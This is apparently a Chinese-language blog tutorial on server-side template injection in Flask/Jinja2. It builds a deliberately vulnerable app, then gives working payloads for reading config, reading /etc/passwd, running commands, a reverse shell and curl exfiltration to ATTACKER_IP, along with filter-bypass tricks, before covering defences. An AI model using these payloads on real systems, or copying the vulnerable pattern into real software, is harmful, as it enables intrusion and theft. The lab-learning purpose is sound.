别再只盯着SQL注入了!手把手教你用Python Flask复现SSTI漏洞(附完整靶场环境)
2026/6/10 21:34:05 网站建设 项目流程

从零构建Flask SSTI漏洞靶场:实战复现与防御指南

当开发者过度信任用户输入时,Web应用就可能成为攻击者的游乐场。服务器端模板注入(SSTI)正是这样一类常被忽视的高危漏洞,它能让攻击者在你的服务器上执行任意代码。本文将带你用Python Flask框架亲手搭建一个存在SSTI漏洞的Web应用,并通过实战演练完整复现攻击链。

1. 环境准备与漏洞应用搭建

在开始之前,请确保你的开发环境已安装Python 3.6+版本。我们将使用Flask这个轻量级Web框架作为实验平台。

基础环境配置:

# 创建虚拟环境 python -m venv ssti-lab source ssti-lab/bin/activate # Linux/Mac ssti-lab\Scripts\activate # Windows # 安装依赖 pip install flask jinja2

下面是一个故意引入SSTI漏洞的Flask应用代码(vulnerable_app.py):

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'Guest') template = f''' <html> <h1>Hello {name}!</h1> </html> ''' return render_template_string(template) if __name__ == '__main__': app.run(debug=True)

这个简单的应用接收URL中的name参数并直接拼接到模板中,这正是SSTI漏洞的典型成因。启动应用后访问http://localhost:5000/?name=World,你将看到页面正常显示"Hello World!"。

2. SSTI漏洞检测与确认

要验证是否存在SSTI漏洞,我们可以尝试注入模板表达式:

基础检测方法:

  • 输入数学表达式:http://localhost:5000/?name={{7*7}}
  • 如果页面返回"Hello 49!",则确认存在模板注入

进阶检测技巧:

# 测试不同模板语法 test_cases = { 'Jinja2': '{{7*7}}', 'Twig': '{{7*7}}', 'Smarty': '{7*7}' } for engine, payload in test_cases.items(): response = requests.get(f'http://localhost:5000/?name={payload}') if '49' in response.text: print(f'可能使用{engine}模板引擎')

当确认存在漏洞后,我们需要识别具体的模板引擎类型。在Flask中默认使用的是Jinja2,这也是我们重点研究的对象。

3. Jinja2模板注入深度利用

Jinja2作为Flask的默认模板引擎,其功能强大但也带来了安全风险。下面我们逐步演示如何从信息泄露升级到命令执行。

3.1 信息泄露攻击

获取应用配置信息:

http://localhost:5000/?name={{config}}

这将显示Flask应用的完整配置,包括:

  • SECRET_KEY
  • 数据库连接信息
  • 其他敏感配置项

环境变量探测:

http://localhost:5000/?name={{self.__dict__}}

3.2 Python对象链构造

Jinja2允许通过Python的魔术方法访问对象属性,这是攻击者构建利用链的关键:

# 基本对象链构造流程 ''.__class__ # 获取字符串类 .__mro__[1] # 获取object基类 .__subclasses__() # 获取所有子类

查找可利用的子类:

# 查找包含os模块的类 for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): try: if 'os' in cls.__init__.__globals__: print(i, cls) except: continue

3.3 实现命令执行

找到合适的子类后(例如第133个),可以构造RCE payload:

http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].system('id')}}

实用payload集合:

攻击类型Payload示例
文件读取{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
命令执行{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
反弹shell{{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')}}

4. 高级绕过技术与实战技巧

在实际环境中,应用可能会部署各种防护措施。以下是常见的WAF绕过方法:

4.1 过滤绕过技术

1. 过滤方括号[]:

# 使用__getitem__代替[] ''.__class__.__mro__.__getitem__(1).__subclasses__()

2. 过滤点号.:

# 使用|attr过滤器 {{request|attr('application')|attr('__globals__')}}

3. 过滤关键词:

# 使用字符串拼接 {{('__globa'+'ls__')|attr}}

4.2 无回显攻击技术

当命令执行结果不直接显示时,可以使用以下技巧:

1. 延时检测:

{{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].system('sleep 5')}}

2. DNS外带数据:

{{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].system('curl http://ATTACKER_IP/$(whoami)')}}

5. 漏洞修复与最佳实践

了解了攻击手法后,更重要的是如何防护。以下是针对SSTI的防御方案:

1. 输入过滤:

# 使用正则过滤危险字符 import re def safe_input(input_str): return re.sub(r'[{}]', '', input_str)

2. 模板使用规范:

# 安全的使用方式 @app.route('/safe') def safe_route(): name = request.args.get('name', 'Guest') return render_template_string('Hello {{ user }}!', user=name)

3. 沙箱环境:

# 创建受限环境 from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()

4. 安全配置:

app.jinja_env.autoescape = True # 开启自动转义 app.config['TEMPLATES_AUTO_RELOAD'] = False # 禁用自动重载

在企业级应用中,还应考虑以下增强措施:

  • 部署WAF规则拦截模板注入尝试
  • 定期进行安全审计和渗透测试
  • 实施最小权限原则,限制应用运行权限

6. 拓展实验:构建完整攻防环境

为了更深入理解SSTI,建议搭建以下实验环境:

1. 多漏洞级别应用:

# 不同防护等级的路由 @app.route('/level1') # 无防护 @app.route('/level2') # 基础过滤 @app.route('/level3') # 沙箱环境

2. 自动化测试脚本:

# 使用pytest进行安全测试 def test_ssti_protection(): payloads = ['{{7*7}}', '{# comment #}'] for payload in payloads: r = requests.get(f'http://localhost:5000/?name={payload}') assert '49' not in r.text

3. 监控与日志分析:

# 记录可疑请求 @app.after_request def log_requests(response): if '{{' in request.query_string.decode(): app.logger.warning(f'Possible SSTI attempt: {request.remote_addr}') return response

通过这个完整的实验环境,开发者可以:

  • 直观理解SSTI的产生原理
  • 测试各种防护措施的有效性
  • 培养安全开发意识

在真实项目开发中,建议采用安全的开发框架,避免直接使用底层模板渲染函数。对于必须使用动态模板的场景,务必进行严格的输入验证和输出编码。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询